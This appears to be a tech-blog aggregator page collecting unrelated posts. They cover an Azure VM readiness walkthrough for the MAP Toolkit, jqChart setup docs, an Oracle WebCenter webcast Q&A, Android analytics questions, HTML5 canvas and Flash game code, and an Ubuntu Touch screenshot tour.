• Windows Azure Virtual Machine Readiness and Capacity Assessment for SQL Server

  - by SQLOS Team

  Windows Azure Virtual Machine Readiness and Capacity Assessment for Windows Server Machine Running SQL Server With the release of MAP Toolkit 8.0 Beta, we have added a new scenario to assess your Windows Azure Virtual Machine Readiness. The MAP 8.0 Beta performs a comprehensive assessment of Windows Servers running SQL Server to determine you level of readiness to migrate an on-premise physical or virtual machine to Windows Azure Virtual Machines. The MAP Toolkit then offers suggested changes to prepare the machines for migration, such as upgrading the operating system or SQL Server. MAP Toolkit 8.0 Beta is available for download here Your participation and feedback is very important to make the MAP Toolkit work better for you. We encourage you to participate in the beta program and provide your feedback at [email protected] or through one of our surveys. Now, let’s walk through the MAP Toolkit task for completing the Windows Azure Virtual Machine assessment and capacity planning. The tasks include the following: Perform an inventory View the Windows Azure VM Readiness results and report Collect performance data for determine VM sizing View the Windows Azure Capacity results and report Perform an inventory: 1. To perform an inventory against a single machine or across a complete environment, choose Perform an Inventory to launch the Inventory and Assessment Wizard as shown below: 2. After the Inventory and Assessment Wizard launches, select either the Windows computers or SQL Server scenario to inventory Windows machines. HINT: If you don’t care about completely inventorying a machine, just select the SQL Server scenario. Click Next to Continue. 3. On the Discovery Methods page, select how you want to discover computers and then click Next to continue. Description of Discovery Methods: Use Active Directory Domain Services -- This method allows you to query a domain controller via the Lightweight Directory Access Protocol (LDAP) and select computers in all or specific domains, containers, or OUs. Use this method if all computers and devices are in AD DS. Windows networking protocols --  This method uses the WIN32 LAN Manager application programming interfaces to query the Computer Browser service for computers in workgroups and Windows NT 4.0–based domains. If the computers on the network are not joined to an Active Directory domain, use only the Windows networking protocols option to find computers. System Center Configuration Manager (SCCM) -- This method enables you to inventory computers managed by System Center Configuration Manager (SCCM). You need to provide credentials to the System Center Configuration Manager server in order to inventory the managed computers. When you select this option, the MAP Toolkit will query SCCM for a list of computers and then MAP will connect to these computers. Scan an IP address range -- This method allows you to specify the starting address and ending address of an IP address range. The wizard will then scan all IP addresses in the range and inventory only those computers. Note: This option can perform poorly, if many IP addresses aren’t being used within the range. Manually enter computer names and credentials -- Use this method if you want to inventory a small number of specific computers. Import computer names from a files -- Using this method, you can create a text file with a list of computer names that will be inventoried. 4. On the All Computers Credentials page, enter the accounts that have administrator rights to connect to the discovered machines. This does not need to a domain account, but needs to be a local administrator. I have entered my domain account that is an administrator on my local machine. Click Next after one or more accounts have been added. NOTE: The MAP Toolkit primarily uses Windows Management Instrumentation (WMI) to collect hardware, device, and software information from the remote computers. In order for the MAP Toolkit to successfully connect and inventory computers in your environment, you have to configure your machines to inventory through WMI and also allow your firewall to enable remote access through WMI. The MAP Toolkit also requires remote registry access for certain assessments. In addition to enabling WMI, you need accounts with administrative privileges to access desktops and servers in your environment. 5. On the Credentials Order page, select the order in which want the MAP Toolkit to connect to the machine and SQL Server. Generally just accept the defaults and click Next. 6. On the Enter Computers Manually page, click Create to pull up at dialog to enter one or more computer names. 7. On the Summary page confirm your settings and then click Finish. After clicking Finish the inventory process will start, as shown below: Windows Azure Readiness results and report After the inventory progress has completed, you can review the results under the Database scenario. On the tile, you will see the number of Windows Server machine with SQL Server that were analyzed, the number of machines that are ready to move without changes and the number of machines that require further changes. If you click this Azure VM Readiness tile, you will see additional details and can generate the Windows Azure VM Readiness Report. After the report is generated, select View | Saved Reports and Proposals to view the location of the report. Open up WindowsAzureVMReadiness* report in Excel. On the Windows tab, you can see the results of the assessment. This report has a column for the Operating System and SQL Server assessment and provides a recommendation on how to resolve, if there a component is not supported. Collect Performance Data Launch the Performance Wizard to collect performance information for the Windows Server machines that you would like the MAP Toolkit to suggest a Windows Azure VM size for. Windows Azure Capacity results and report After the performance metrics are collected, the Azure VM Capacity title will display the number of Virtual Machine sizes that are suggested for the Windows Server and Linux machines that were analyzed. You can then click on the Azure VM Capacity tile to see the capacity details and generate the Windows Azure VM Capacity Report. Within this report, you can view the performance data that was collected and the Virtual Machine sizes.   MAP Toolkit 8.0 Beta is available for download here Your participation and feedback is very important to make the MAP Toolkit work better for you. We encourage you to participate in the beta program and provide your feedback at [email protected] or through one of our surveys.

True DateTime Axis. Logarithmic and Reversed axis scale. Large set of chart types - Bar, Column, Pie, Line, Spline, Area, Scatter, Bubble, Radar, Polar. Financial Charts - Stock Chart and Candlestick Chart. The different chart types can be easily combined.  System Requirements Browser Support jqChart supports all major browsers: Internet Explorer - 6+ Firefox Google Chrome Opera Safari jQuery version support jQuery JavaScript framework is required. We recommend using the latest official stable version of the jQuery library. Visual Studio Support jqChart for ASP.NET does not require using Visual Studio. You can use your favourite code editor. Still, the product has been tested with several versions of Visual Studio .NET and you can find the list of supported versions below: Visual Studio 2008 Visual Studio 2010 Visual Studio 2012 ASP.NET Web Forms support Supported version - ASP.NET Web Forms 3.5, 4.0 and 4.5 Installation Download and unzip the contents of the archive to any convenient location. The package contains the following folders: [bin] - Contains the assembly DLLs of the product (JQChart.Web.dll) for WebForms 3.5, 4.0 and 4.5. This is the assembly that you can reference directly in your web project (or better yet, add it to your ToolBox and then drag & drop it from there). [js] - The javascript files of jqChart and jqRangeSlider (and the needed libraries). You need to include them in your ASPX page, in order to gain the client side functionality of the chart. The first file is "jquery-1.5.1.min.js" - this is the official jQuery library. jqChart is built upon jQuery library version 1.4.3. The second file you need is the "excanvas.js" javascript file. It is used from the versions of IE, which dosn't support canvas graphics. The third is the jqChart javascript code itself, located in "jquery.jqChart.min.js". The last one is the jqRangeSlider javascript, located in "jquery.jqRangeSlider.min.js". It is used when the chart zooming is enabled. [css] - Contains the Css files that the jqChart and the jqRangeSlider need. [samples] - Contains some examples that use the jqChart. For full list of samples plese visit - jqChart for ASP.NET Samples. [themes] - Contains the themes shipped with the products. It is used from the jqRangeSlider. Since jqRangeSlider supports jQuery UI Themeroller, any theme compatible with jQuery UI ThemeRoller will work for jqRangeSlider as well. You can download any additional themes directly from jQuery UI's ThemeRoller site available here: http://jqueryui.com/themeroller/ or reference them from Microsoft's / Google's CDN. <link rel="stylesheet" type="text/css" media="screen" href="http://ajax.aspnetcdn.com/ajax/jquery.ui/1.8.21/themes/smoothness/jquery-ui.css" /> The final result you will have in an ASPX page containing jqChart would be something similar to that (assuming you have copied the [js] to the Script folder and [css] to Content folder of your ASP.NET site respectively). <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="samples_cs.Default" %> <%@ Register Assembly="JQChart.Web" Namespace="JQChart.Web.UI.WebControls" TagPrefix="jqChart" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html > <head runat="server"> <title>jqChart ASP.NET Sample</title> <link rel="stylesheet" type="text/css" href="~/Content/jquery.jqChart.css" /> <link rel="stylesheet" type="text/css" href="~/Content/jquery.jqRangeSlider.css" /> <link rel="stylesheet" type="text/css" href="~/Content/themes/smoothness/jquery-ui-1.8.21.css" /> <script src="<% = ResolveUrl("~/Scripts/jquery-1.5.1.min.js") %>" type="text/javascript"></script> <script src="<% = ResolveUrl("~/Scripts/jquery.jqRangeSlider.min.js") %>" type="text/javascript"></script> <script src="<% = ResolveUrl("~/Scripts/jquery.jqChart.min.js") %>" type="text/javascript"></script> <!--[if IE]><script lang="javascript" type="text/javascript" src="<% = ResolveUrl("~/Scripts/excanvas.js") %>"></script><![endif]--> </head> <body> <form id="form1" runat="server"> <asp:ObjectDataSource ID="ObjectDataSource1" runat="server" SelectMethod="GetData" TypeName="SamplesBrowser.Models.ChartData"></asp:ObjectDataSource> <jqChart:Chart ID="Chart1" Width="500px" Height="300px" runat="server" DataSourceID="ObjectDataSource1"> <Title Text="Chart Title"></Title> <Animation Enabled="True" Duration="00:00:01" /> <Axes> <jqChart:CategoryAxis Location="Bottom" ZoomEnabled="true"> </jqChart:CategoryAxis> </Axes> <Series> <jqChart:ColumnSeries XValuesField="Label" YValuesField="Value1" Title="Column"> </jqChart:ColumnSeries> <jqChart:LineSeries XValuesField="Label" YValuesField="Value2" Title="Line"> </jqChart:LineSeries> </Series> </jqChart:Chart> </form> </body> </html>   Official Site | Samples | Download | Documentation | Forum | Twitter

• Webcast Q&A: Qualcomm Provides a Seamless Experience for Customers with Oracle WebCenter

  - by kellsey.ruppel

  Last Thursday we had the second webcast in our WebCenter in Action webcast series, "Qualcomm Provides a Seamless Experience for Customers with Oracle WebCenter, where customer Michael Chander from Qualcomm and Vince Casarez & Gourav Goyal from Oracle Partner Keste shared how Oracle WebCenter is powering Qualcomm’s externally facing website and providing a seamless experience for their customers. In case you missed it, here's a recap of the Q&A.   Mike Chandler, Qualcomm Q: Did you run into any issues when integrating all of the different applications together?A: Definitely, our main challenges were in the area of user provisioning and security propagation, all the standard stuff you might expect when hooking up SSO for authentication and authorization. In addition, we spent several iterations getting the UI’s in sync. While everyone was given the same digital material to build too, each team interpreted and implemented it their own way. Initially as a user navigated, if you were looking for it, you could slight variations in color or font or width , stuff like that. So we had to pull all the developers responsible for the UI together and get pixel level agreement on a lot of things so we could ensure seamless transitions across applications. Q: What has been the biggest benefit your end users have seen?A: Wow, there have been several. An SSO enabled environment was huge a win for our users. The portal application that this replaced had not really been invested in by the business. With this project, we had full business participation and backing, and it really showed in some key areas like the shopping experience. For example, while ordering in the previous site, the items did not have any pictures or really usable descriptions. A tremendous amount of work was done to try and make the site more intuitive and user friendly. Site performance has also drastically improved thanks to new hardware, improved database design, and of course the fact that ADF has made great strides in runtime performance. Q: Was there any resistance internally when implementing the solution? If so, how did you overcome that?A: Within a large company, I’m sure there is always going to be competition for large projects, as there was here. Once we got through the technical analysis and settled on the technology choices, it was actually no resistance to implementing the solution. This project was fully driven by the business with the aim of long term growth. I can confidently say that the fact that this project was given the utmost importance by both the business and IT really help put down any resistance that you would typically see while implementing a new solution. Q: Given the performance, what do you estimate to be the top end capacity of the system? A:I think our top end capacity is really only limited by our hardware. I’m comfortable saying we could grow 10x on our current hardware, both in terms of transactions and users. We can easily spin up new JVM instances if needed. We already use less JVM’s than we had planned. In addition, ADF is doing a very good job with his connection pooling and application module pooling, so we see a very good ratio of users connected to the systems vs db connections, without impacting performace. Q: What's the overview or summary of feedback from the users interacting with the site?A: Feedback has been overwhelmingly positive from both the business and our customers. They’re very happy with the new SSO environment , the new LAF, and the performance of the site. Of course, it’s not all roses. No matter what, there are always going to be people that don’t like the layout or the color scheme, etc. By and large though, customers are happy and the business is happy. Q: Can you describe the impressions about the site before and after the project within Qualcomm?A: Before the project, the site worked and people were using it, but most people were not happy with it. It was slow and tended to be a bit tempermental, for example a user would perform a transaction and the system would throw and unexpected error. The user could back up and retry the steps and things would work fine, so why didn’t work the first time?. From a UI perspective, we’d hear comments like it looked like it was built by a high school student.  Vince Casarez & Gourav Goyal, Keste Q: Did you run into any obstacles when implementing the solution?A: It's interesting some people call them "obstacles" on this project we just called them "dependencies".  There were both technical and business related dependencies that we had to work out. Mike points out the SSO dependencies and the coordination and synchronization between the teams to have a seamless login experience and a seamless end user experience.  There was also a set of dependencies on the User Acceptance testing to make sure that everyone understood the use cases for how the system would be used.  With a branching into a new market and trying to match a simple user experience as many consumer sites have today, there was always a tendency for the team members to provide their suggestions on how things could be simpler.  But with all the work up front on the user design and getting the business driving this set of experiences, this minimized the downstream suggestions that tend to distract a team.  In this case, all the work up front allowed us to enumerate the "dependencies" and keep the distractions to a minimum. Q: Was there a lot of custom work that needed to be done for this particular solution?A: The focus for this particular solution was really on the custom processes. The interesting thing is that with the data flows and the integration with applications, there are some pre-built integrations, but realistically for the process flow, we had to build those. The framework and tooling we used made things easier so we didn’t have to implement core functionality, like transitioning from screen to screen or from flow to flow. The design feature of Task Flows really helped speed the development and keep the component infrastructure in line with the dynamic processes.  Task flows and other elements like Skins are core to the infrastructure or technology stack of Oracle. This then allowed the team to center the project focus around the business flows and use cases to meet the core requirements and keep the project on time. Q: What do you think were the keys to success for rolling out WebCenter?A:  The 5 main keys to success were: 1) Sponsorship from the whole organization around this project from senior executive agreement, business owners driving functionality, and IT development alignment; 2) Upfront design planning and use case definition to clearly define the project scope and requirements; 3) Focussed development and project management aligned with the top level goals and drivers; 4) User acceptance and usability testing along the way to identify potential issues and direct resolution of the issues;  and 5) Constant prioritization of the issues for development to fix by the business.  It also helps to have great team chemistry and really smart people working on the project. If you missed the webcast, be sure to catch the replay to see a live demonstration of WebCenter in action!  Qualcomm Provides a Seamless Experience for Customers with Oracle WebCenter from Oracle WebCenter

• Google Analytics on Android

  - by pjv

  There is a specific and official analytics SDK for native Android apps (note that I'm not talking about webpages in apps on a phone). This library basically sends pages and events to Google Analytics and you can view your analytics in exactly the same dashboard as for websites. Since my background is apps rather than websites, and since a lot of the Google Analytics terminology seems particularly inapplicable to a native app, I need some pointers. Please discuss my remarks, provide some clarification where you think I'm off-track, and above all share good experiences! 1. Page Views Pages mostly can match different Activities (and Dialogs) being displayed. Activities can be visible behind non-full-screen Activities however, though only the top-level Activity can be interacted. This sort-off clashes with a "(page) view". You'd also want at least one page view for each visit and therefore put one page view tracker in the Application class. However this does not constitute a window or sorts. Usually an Activity will open at the same time, so the time spent on that page will have been 0. This will influence your "time spent" statistics. How are these counted anyway? Moreover, there is a loose coupling between the Activities, by means of Intents. A user can, much like on any website, step in at any Activity, although usually this then concerns resuming the application where he left off. This makes that the hierarchy of Activities usually is very flat. And since there are no url's involved. What meaning would using slashes in page titles have, such as "/Home"? All pages would appear on an equal level in the reports, so no content drilldown. Non-unique page views seem to be counted as some kind of indicator of successfulness: how often does the visitor revisit the page. When the user rotates the screen however usually an Activity resumes again, thus making it a new page view. This happens a lot. Maybe a well-thought-through placement of the call might solve this, or placing several, I'm not sure. How to deal with Page Views? 2. Events I'd say there are two sorts: A user event Something that happened, usually as an indirect consequence of the above. The latter particularly is giving me headaches. First of all, many events aren't written in code any more, but pieced logically together by means of Intents. This means that there is no place to put the analytics call. You'd either have to give up this advantage and start doing it the old-fashioned way in favor of good analytics, or, just be missing some events. Secondly, as a developer you're not so much interested in when a user clicks a button, but if the action that should have been performed really was performed and what the result was. There seems to be no clear way to get resulting data into Google Analytics (what's up with the integers? I want to put in Strings!). The same that applies to the flat pages hierarchy, also goes for the event categories. You could do "vertical" categories (topically, that is), but some code is shared "horizontally" and the tracking will be equally shared. Just as with the Intents mechanism, inheritance makes it hard for you to put the tracking in the right places at all times. And I can't really imagine "horizontal" categories. Unless you start making really small categories, such as all the items form the same menu in one category, I have a hard time grasping the concept. Finally, how do you deal with cancelling? Usually you both have an explicit cancel mechanism by ways of a button, as well as the implicit cancel when the "back"-button is pressed to leave the activity and there were no changes. The latter also applies to "saves", when the back button is pressed and there ARE changes. How are you consequently going to catch all these if not by doing all the "back"-button work yourself? How to deal with events? 3. Goals For goal types I have choice of: URL Destination, Time on Site, and Pages/Visit. Most apps don't have a funnel that leads the user to some "registration done" or "order placed" page. Apps have either already been bought (in which case you want to stimulate the user to love your app, so that he might bring on new buyers) or are paid for by in-app ads. So URL Destination is not a very important goal. Time on Site also seems troublesome. First, I have some doubt on how this would be measured. Second, I don't necessarily want my user to spend a lot of time in my already paid app, just be active and content. Equivalently, why not mention how frequent a user uses your app? Regarding Pages/Visit I already mentioned how screen orientation changes blow up the page view numbers. In an app I'd be most interested in events/visit to measure the user's involvement/activity. If he's intensively using the app then he must be loving it right? Furthermore, I also have some small funnels (that do not lead to conversion though) that I want to see streamlined. In my mind those funnels would end in events rather than page views but that seems not to be possible. I could also measure clickthroughs on in-app ads, but then I'd need to track those as Page Views rather than Events, in view of "URL Destination". What are smart goals for apps and how can you fit them on top of Analytics? 4. Optimisation Is there a smart way to manually do what "Website Optimiser" does for websites? Most importantly, how would I track different landing page designs? 5. Traffic Sources Referrals deal with installation time referrals, if you're smart enough to get them included. But perhaps I'd also want to get some data which third-party app sends users to my app to perform some actions (this app interoperability is possible via Intents). Many of the terminologies related to "Traffic Sources" seem totally meaningless and there is no possibility of connecting in AdSense. What are smart uses of this data? 6. Visitors Of the "Browser capabilities", "Network Properties" and "Mobile" tabs, many things are pointless as they have no influence on / relation with my mostly offline app that won't use flash anyway. Only if you drill down far enough, can you get to OS versions, which do matter a lot. I even forgot where you could check what exact Android devices visited. What are smart uses of this data? How can you make the relevant info more prominent? 7. Other No in-page analytics. I have to register my app as a web-url (What!?)?

• Smooth animation on a persistently refreshing canvas

  - by Neurofluxation

  Yo everyone! I have been working on an Isometric Tile Game Engine in HTML5/Canvas for a little while now and I have a complete working game. Earlier today I looked back over my code and thought: "hmm, let's try to get this animated smoothly..." And since then, that is all I have tried to do. The problem I would like the character to actually "slide" from tile to tile - but the canvas redrawing doesn't allow this - does anyone have any ideas....? Code and fiddle below... Fiddle with it! http://jsfiddle.net/neuroflux/n7VAu/ <html> <head> <title>tileEngine - Isometric</title> <style type="text/css"> * { margin: 0px; padding: 0px; font-family: arial, helvetica, sans-serif; font-size: 12px; cursor: default; } </style> <script type="text/javascript"> var map = Array( //land [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]] ); var tileDict = Array("http://www.wikiword.co.uk/release-candidate/canvas/tileEngine/land.png"); var charDict = Array("http://www.wikiword.co.uk/release-candidate/canvas/tileEngine/mario.png"); var objectDict = Array("http://www.wikiword.co.uk/release-candidate/canvas/tileEngine/rock.png"); //last is one more var objectImg = new Array(); var charImg = new Array(); var tileImg = new Array(); var loaded = 0; var loadTimer; var ymouse; var xmouse; var eventUpdate = 0; var playerX = 0; var playerY = 0; function loadImg(){ //preload images and calculate the total loading time for(var i=0;i<tileDict.length;i++){ tileImg[i] = new Image(); tileImg[i].src = tileDict[i]; tileImg[i].onload = function(){ loaded++; } } i = 0; for(var i=0;i<charDict.length;i++){ charImg[i] = new Image(); charImg[i].src = charDict[i]; charImg[i].onload = function(){ loaded++; } } i = 0; for(var i=0;i<objectDict.length;i++){ objectImg[i] = new Image(); objectImg[i].src = objectDict[i]; objectImg[i].onload = function(){ loaded++; } } } function checkKeycode(event) { //key pressed var keycode; if(event == null) { keyCode = window.event.keyCode; } else { keyCode = event.keyCode; } switch(keyCode) { case 38: //left if(!map[playerX-1][playerY][1] > 0){ playerX--; } break; case 40: //right if(!map[playerX+1][playerY][1] > 0){ playerX++; } break; case 39: //up if(!map[playerX][playerY-1][1] > 0){ playerY--; } break; case 37: //down if(!map[playerX][playerY+1][1] > 0){ playerY++; } break; default: break; } } function loadAll(){ //load the game if(loaded == tileDict.length + charDict.length + objectDict.length){ clearInterval(loadTimer); loadTimer = setInterval(gameUpdate,100); } } function drawMap(){ //draw the map (in intervals) var tileH = 25; var tileW = 50; mapX = 80; mapY = 10; for(i=0;i<map.length;i++){ for(j=0;j<map[i].length;j++){ var drawTile= map[i][j][0]; var xpos = (i-j)*tileH + mapX*4.5; var ypos = (i+j)*tileH/2+ mapY*3.0; ctx.drawImage(tileImg[drawTile],xpos,ypos); if(i == playerX && j == playerY){ you = ctx.drawImage(charImg[0],xpos,ypos-(charImg[0].height/2)); } } } } function init(){ //initialise the main functions and even handlers ctx = document.getElementById('main').getContext('2d'); loadImg(); loadTimer = setInterval(loadAll,10); document.onkeydown = checkKeycode; } function gameUpdate() { //update the game, clear canvas etc ctx.clearRect(0,0,904,460); ctx.fillStyle = "rgba(255, 255, 255, 1.0)"; //assign color drawMap(); } </script> </head> <body align="center" style="text-align: center;" onload="init()"> <canvas id="main" width="904" height="465"> <h1 style="color: white; font-size: 24px;">I'll be damned, there be no HTML5 &amp; canvas support on this 'ere electronic machine!_{This game, jus' plain ol' won't work!}</h1> </canvas> </body> </html>

• Screenshot Tour: Ubuntu Touch 14.04 on a Nexus 7

  - by Chris Hoffman

  Ubuntu 14.04 LTS will “form the basis of the first commercially available Ubuntu tablets,” according to Canonical. We installed Ubuntu Touch 14.04 on our own hardware to see what those tablets will be like. We don’t recommend installing this yourself, as it’s still not a polished, complete experience. We’re using “Ubuntu Touch” as shorthand here — apparently this project’s new name is “Ubuntu For Devices.” The Welcome Screen Ubuntu’s touch interface is all about edge swipes and hidden interface elements — it has a lot in common with Windows 8, actually. You’ll see the welcome screen when you boot up or unlock a Ubuntu tablet or phone. If you have new emails, text messages, or other information, it will appear on this screen along with the time and date. If you don’t, you’ll just see a message saying “No data sources available.” The Dash Swipe in from the right edge of the welcome screen to access the Dash, or home screen. This is actually very similar to the Dash on Ubuntu’s Unity desktop. This isn’t a surprise — Canonical wants the desktop and touch versions of Ubuntu to use the same code. In the future, the desktop and touch versions of Ubuntu will use the same version of Unity and Unity will adjust its interface depending on what type of device your’e using. Here you’ll find apps you have installed and apps available to install. Tap an installed app to launch it or tap an available app to view more details and install it. Tap the My apps or Available headings to view a complete list of apps you have installed or apps you can install. Tap the Search box at the top of the screen to start searching — this is how you’d search for new apps to install. As you’d expect, a touch keyboard appears when you tap in the Search field or any other text field. The launcher isn’t just for apps. Tap the Apps heading at the top of the screen and you’ll see hidden text appear — Music, Video, and Scopes. This hidden navigation is used throughout Ubuntu’s different apps and can be easy to miss at first. Swipe to the left or right to move between these screens. These screens are also similar to the different panels in Unity on the desktop. The Scopes section allows you to view different search scopes you have installed. These are used to search different sources when you start a search from the Dash. Search from the Music or Videos scopes to search for local media files on your device or media files online. For example, searching in the Music scope will show you music results from Grooveshark by default. Navigating Ubuntu Touch Swipe in from the left edge anywhere on the system to open the launcher, a bar with shortcuts to apps. This launcher is very similar to the launcher on the left of Ubuntu’s Unity desktop — that’s the whole idea, after all. Once you’ve opened an app, you can leave the app by swiping in from the left. The launcher will appear — keep moving your finger towards the right edge of teh screen. This will swipe the current app off the screen, taking you back to the Dash. Once back on the Dash, you’ll see your open apps represented as thumbnails under Recent. Tap a thumbnail here to go back to a running app. To remove an app from here, long-press it and tap the X button that appears. Swipe in from the right edge in any app to quickly switch between recent apps. Swipe in from the right edge and hold your finger down to reveal an application switcher that shows all your recent apps and lets you choose between them. Swipe down from the top of the screen to access the indicator panel. Here you can connect to Wi-Fi networks, view upcoming events, control GPS and Bluetooth hardware, adjust sound settings, see incoming messages, and more. This panel is for quick access to hardware settings and notifications, just like the indicators on Ubuntu’s Unity desktop. The Apps System settings not included in the pull-down panel are available in the System Settings app. To access it, tap My apps on the Dash and tap System Settings, search for the System Settings app, or open the launcher bar and tap the settings icon. The settings here a bit limited compared to other operating systems, but many of the important options are available here. You can add Evernote, Ubuntu One, Twitter, Facebook, and Google accounts from here. A free Ubuntu One account is mandatory for downloading and updating apps. A Google account can be used to sync contacts and calendar events. Some apps on Ubuntu are native apps, while many are web apps. For example, the Twitter, Gmail, Amazon, Facebook, and eBay apps included by default are all web apps that open each service’s mobile website as an app. Other applications, such as the Weather, Calendar, Dialer, Calculator, and Notes apps are native applications. Theoretically, both types of apps will be able to scale to different screen resolutions. Ubuntu Touch and Ubuntu desktop may one day share the same apps, which will adapt to different display sizes and input methods. Like Windows 8 apps, Ubuntu apps hide interface elements by default, providing you with a full-screen view of the content. Swipe up from the bottom of an app’s screen to view its interface elements. For example, swiping up from the bottom of the Web Browser app reveals Back, Forward, and Refresh buttons, along with an address bar and Activity button so you can view current and recent web pages. Swipe up even more from the bottom and you’ll see a button hovering in the middle of the app. Tap the button and you’ll see many more settings. This is an overflow area for application options and functions that can’t fit on the navigation bar. The Terminal app has a few surprising Easter eggs in this panel, including a “Hack into the NSA” option. Tap it and the following text will appear in the terminal: That’s not very nice, now tracing your location . . . . . . . . . . . .Trace failed You got away this time, but don’t try again. We’d expect to see such Easter eggs disappear before Ubuntu Touch actually ships on real devices. Ubuntu Touch has come a long way, but it’s still not something you want to use today. For example, it doesn’t even have a built-in email client — you’ll have to us your email service’s mobile website. Few apps are available, and many of the ones that are are just mobile websites. It’s not a polished operating system intended for normal users yet — it’s more of a preview for developers and device manufacturers. If you really want to try it yourself, you can install it on a Wi-Fi Nexus 7 (2013), Nexus 10, or Nexus 4 device. Follow Ubuntu’s installation instructions here.

• C# 2D Camera Max Zoom

  - by Craig

  I have a simple ship sprite moving around the screen along with a 2D Camera. I have zooming in and out working, however when I zoom out it goes past the world bounds and has the cornflower blue background showing.

• Make a lives display in HUD, Flash AS3 (not text!)

  - by user40404

  I've been searching the internet all day and I can't find the answer I'm looking for. In my HUD I want to use orange dots to represent lives. The user starts off with 5 lives and every time they die, I want a dot to be removed. Pretty straight forward. So far my idea is to make a movie clip that has the five dots in a line. There would be 5 frames on the timeline (because after the last life it goes to a game over screen right away). I would have a variable set up to store the number of lives and a function to keep track of lives. So every hit of an obstacle would result in livesCounter--;. Then I would set up something like this: switch(livesCounter){ case 5: livesDisplay.gotoAndPlay(1); break; case 4: livesDisplay.gotoAndPlay(2); break; case 3: livesDisplay.gotoAndPlay(3); break; case 2: livesDisplay.gotoAndPlay(4); break; case 1: livesDisplay.gotoAndPlay(5); break; } I feel like there has to be an easier way to do this where I could just have a movie clip of a single orange dot that I could replicate across an x value based on the number of lives. Maybe the dots would be stored in an array? When the user loses a life, a dot on the right end of the line is removed. So in the end the counter would look like this: * * * * * * * * * * * * * * * (last life lost results in the end game screen) EDIT: code based on suggestions by Zhafur and Arthur Wolf White package { import flash.display.MovieClip; import flash.events.*; import flash.ui.Multitouch; import flash.ui.MultitouchInputMode; import flash.display.Sprite; import flash.text.*; import flash.utils.getTimer; public class CollisionMouse extends MovieClip{ public var mySprite:Sprite = new Sprite(); Multitouch.inputMode = MultitouchInputMode.TOUCH_POINT; public var replacement:newSprite = new newSprite; public var score:int = 0; public var obstScore:int = -50; public var targetScore:int = 200; public var startTime:uint = 0; public var gameTime:uint; public var pauseScreen:PauseScreen = new PauseScreen(); public var hitTarget:Boolean = false; public var hitObj:Boolean = false; public var currLevel:Number = 1; public var heroLives:int = 5; public var life:Sprite; public function CollisionMouse() { mySprite.graphics.beginFill(0xff0000); mySprite.graphics.drawRect(0,0,40,40); addChild(mySprite); mySprite.x = 200; mySprite.y = 200; pauseScreen.x = stage.width/2; pauseScreen.y = stage.height/2; life = new Sprite(); life.x = 210; stage.addEventListener(MouseEvent.MOUSE_MOVE,followMouse); /*mySprite.addEventListener(TouchEvent.TOUCH_END, onTouchEnd);*/ //checkLevel(); timeCheck(); trackLives(); } public function timeCheck(){ addEventListener(Event.ENTER_FRAME, showTime); } public function showTime(e:Event) { gameTime = getTimer()-startTime; rm1_mc.timeDisplay.text = clockTime(gameTime); rm1_mc.livesDisplay.text = String(heroLives); } public function clockTime(ms:int) { var seconds:int = Math.floor(ms/1000); var minutes:int = Math.floor(seconds/60); seconds -= minutes*60; var timeString:String = minutes+":"+String(seconds+100).substr(1,2); return timeString; } public function trackLives(){ for(var i:int=0; i<heroLives; i++){ life.graphics.lineStyle(1, 0xff9900); life.graphics.beginFill(0xff9900, 1); life.graphics.drawCircle(i*15, 45, 6); life.graphics.endFill(); addChild(life); } } function followMouse(e:MouseEvent){ mySprite.x=mouseX; mySprite.y=mouseY; trackCollisions(); } function trackCollisions(){ if(mySprite.hitTestObject(rm1_mc.obst1) || mySprite.hitTestObject(rm1_mc.obst2)){ hitObjects(); } else if(mySprite.hitTestObject(rm1_mc.target_mc)){ hitTarg(); } } function hitObjects(){ addChild(replacement); mySprite.x ^= replacement.x; replacement.x ^= mySprite.x; mySprite.x ^= replacement.x; mySprite.y ^= replacement.y; replacement.y ^= mySprite.y; mySprite.y ^= replacement.y; stage.removeEventListener(MouseEvent.MOUSE_MOVE, followMouse); removeChild(mySprite); hitObj = true; checkScore(); } function hitTarg(){ addChild(replacement); mySprite.x ^= replacement.x; replacement.x ^= mySprite.x; mySprite.x ^= replacement.x; mySprite.y ^= replacement.y; replacement.y ^= mySprite.y; mySprite.y ^= replacement.y; stage.removeEventListener(MouseEvent.MOUSE_MOVE, followMouse); removeEventListener(Event.ENTER_FRAME, showTime); removeChild(mySprite); hitTarget = true; currLevel++; checkScore(); } function checkScore(){ if(hitObj){ score += obstScore; heroLives--; removeChild(life); } else if(hitTarget){ score += targetScore; } rm1_mc.scoreDisplay.text = String(score); rm1_mc.livesDisplay.text = String(heroLives); trackLives(); } } }

• Who could ask for more with LESS CSS? (Part 2 of 3&ndash;Setup)

  - by ToStringTheory

